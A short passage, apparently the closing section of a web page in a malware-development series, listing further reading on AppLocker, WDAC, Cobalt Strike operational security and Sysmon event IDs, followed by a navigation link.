Further Reading: - Microsoft AppLocker documentation - Cobalt Strike OPSEC guide (Raphael Mudge) - SpecterOps — WDAC vs AppLocker analysis - Sysmon event ID reference


← Malware development top ↑